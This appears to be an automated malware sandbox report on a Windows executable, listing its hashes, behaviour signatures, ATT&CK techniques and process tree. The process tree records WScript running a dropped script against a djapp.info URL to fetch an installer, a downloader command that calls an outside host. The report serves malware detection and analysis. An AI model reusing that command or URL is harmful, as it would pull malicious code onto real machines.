af0170ff025593e98e9dc2bdda8cde24e46dd4c26e35ba8878120a37836ddcbf

General

Target

af0170ff025593e98e9dc2bdda8cde24e46dd4c26e35ba8878120a37836ddcbf.exe
Size

184KB
MD5

13ed3e07be245191448a5e9ac3472b00
SHA1

4c38b48a34fcd53eef9fa230f308ea3e031ff434
SHA256

af0170ff025593e98e9dc2bdda8cde24e46dd4c26e35ba8878120a37836ddcbf
SHA512

b283ecd7448e17200a0d815c4eeef489e167f77cceee393305ffc53f77d4add401c2ca03c861ecf059f86259151167a0c4c803e47325b956c5a520fb6ce17051
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3p:/7BSH8zUB+nGESaaRvoB7FJNndnI

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 10 IoCs

flow	pid	Process
8	2404	WScript.exe
9	2404	WScript.exe
11	1876	WScript.exe
12	1876	WScript.exe
20	3692	WScript.exe
35	3692	WScript.exe
36	312	WScript.exe
37	312	WScript.exe
41	3316	WScript.exe
42	3316	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	af0170ff025593e98e9dc2bdda8cde24e46dd4c26e35ba8878120a37836ddcbf.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4684	3404	WerFault.exe	81

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings	af0170ff025593e98e9dc2bdda8cde24e46dd4c26e35ba8878120a37836ddcbf.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	41	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	8	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	11	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	36	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3404 wrote to memory of 2404	3404	af0170ff025593e98e9dc2bdda8cde24e46dd4c26e35ba8878120a37836ddcbf.exe	82
PID 3404 wrote to memory of 2404	3404	af0170ff025593e98e9dc2bdda8cde24e46dd4c26e35ba8878120a37836ddcbf.exe	82
PID 3404 wrote to memory of 2404	3404	af0170ff025593e98e9dc2bdda8cde24e46dd4c26e35ba8878120a37836ddcbf.exe	82
PID 3404 wrote to memory of 1876	3404	af0170ff025593e98e9dc2bdda8cde24e46dd4c26e35ba8878120a37836ddcbf.exe	83
PID 3404 wrote to memory of 1876	3404	af0170ff025593e98e9dc2bdda8cde24e46dd4c26e35ba8878120a37836ddcbf.exe	83
PID 3404 wrote to memory of 1876	3404	af0170ff025593e98e9dc2bdda8cde24e46dd4c26e35ba8878120a37836ddcbf.exe	83
PID 3404 wrote to memory of 3692	3404	af0170ff025593e98e9dc2bdda8cde24e46dd4c26e35ba8878120a37836ddcbf.exe	84
PID 3404 wrote to memory of 3692	3404	af0170ff025593e98e9dc2bdda8cde24e46dd4c26e35ba8878120a37836ddcbf.exe	84
PID 3404 wrote to memory of 3692	3404	af0170ff025593e98e9dc2bdda8cde24e46dd4c26e35ba8878120a37836ddcbf.exe	84
PID 3404 wrote to memory of 312	3404	af0170ff025593e98e9dc2bdda8cde24e46dd4c26e35ba8878120a37836ddcbf.exe	87
PID 3404 wrote to memory of 312	3404	af0170ff025593e98e9dc2bdda8cde24e46dd4c26e35ba8878120a37836ddcbf.exe	87
PID 3404 wrote to memory of 312	3404	af0170ff025593e98e9dc2bdda8cde24e46dd4c26e35ba8878120a37836ddcbf.exe	87
PID 3404 wrote to memory of 3316	3404	af0170ff025593e98e9dc2bdda8cde24e46dd4c26e35ba8878120a37836ddcbf.exe	88
PID 3404 wrote to memory of 3316	3404	af0170ff025593e98e9dc2bdda8cde24e46dd4c26e35ba8878120a37836ddcbf.exe	88
PID 3404 wrote to memory of 3316	3404	af0170ff025593e98e9dc2bdda8cde24e46dd4c26e35ba8878120a37836ddcbf.exe	88

C:\Users\Admin\AppData\Local\Temp\af0170ff025593e98e9dc2bdda8cde24e46dd4c26e35ba8878120a37836ddcbf.exe
"C:\Users\Admin\AppData\Local\Temp\af0170ff025593e98e9dc2bdda8cde24e46dd4c26e35ba8878120a37836ddcbf.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3404
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufC180.js" http://www.djapp.info/?domain=IPKiNkmSsy.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O-u5Gv2VyIlpZoV9mDIaX1kSjXPeXe1jmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4VuZQ244J8K0vpmkGR_f_0izx-uhliieAEpY1pjAYJo7bTV8zh C:\Users\Admin\AppData\Local\Temp\fufC180.exe
  2⤵
  - Blocklisted process makes network request
  PID:2404
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufC180.js" http://www.djapp.info/?domain=IPKiNkmSsy.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O-u5Gv2VyIlpZoV9mDIaX1kSjXPeXe1jmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4VuZQ244J8K0vpmkGR_f_0izx-uhliieAEpY1pjAYJo7bTV8zh C:\Users\Admin\AppData\Local\Temp\fufC180.exe
  2⤵
  - Blocklisted process makes network request
  PID:1876
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufC180.js" http://www.djapp.info/?domain=IPKiNkmSsy.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O-u5Gv2VyIlpZoV9mDIaX1kSjXPeXe1jmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4VuZQ244J8K0vpmkGR_f_0izx-uhliieAEpY1pjAYJo7bTV8zh C:\Users\Admin\AppData\Local\Temp\fufC180.exe
  2⤵
  - Blocklisted process makes network request
  PID:3692
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufC180.js" http://www.djapp.info/?domain=IPKiNkmSsy.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O-u5Gv2VyIlpZoV9mDIaX1kSjXPeXe1jmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4VuZQ244J8K0vpmkGR_f_0izx-uhliieAEpY1pjAYJo7bTV8zh C:\Users\Admin\AppData\Local\Temp\fufC180.exe
  2⤵
  - Blocklisted process makes network request
  PID:312
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufC180.js" http://www.djapp.info/?domain=IPKiNkmSsy.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O-u5Gv2VyIlpZoV9mDIaX1kSjXPeXe1jmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4VuZQ244J8K0vpmkGR_f_0izx-uhliieAEpY1pjAYJo7bTV8zh C:\Users\Admin\AppData\Local\Temp\fufC180.exe
  2⤵
  - Blocklisted process makes network request
  PID:3316
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3404 -s 1444
  2⤵
  - Program crash
  PID:4684

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 3404 -ip 3404
1⤵
PID:4988

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fufC180.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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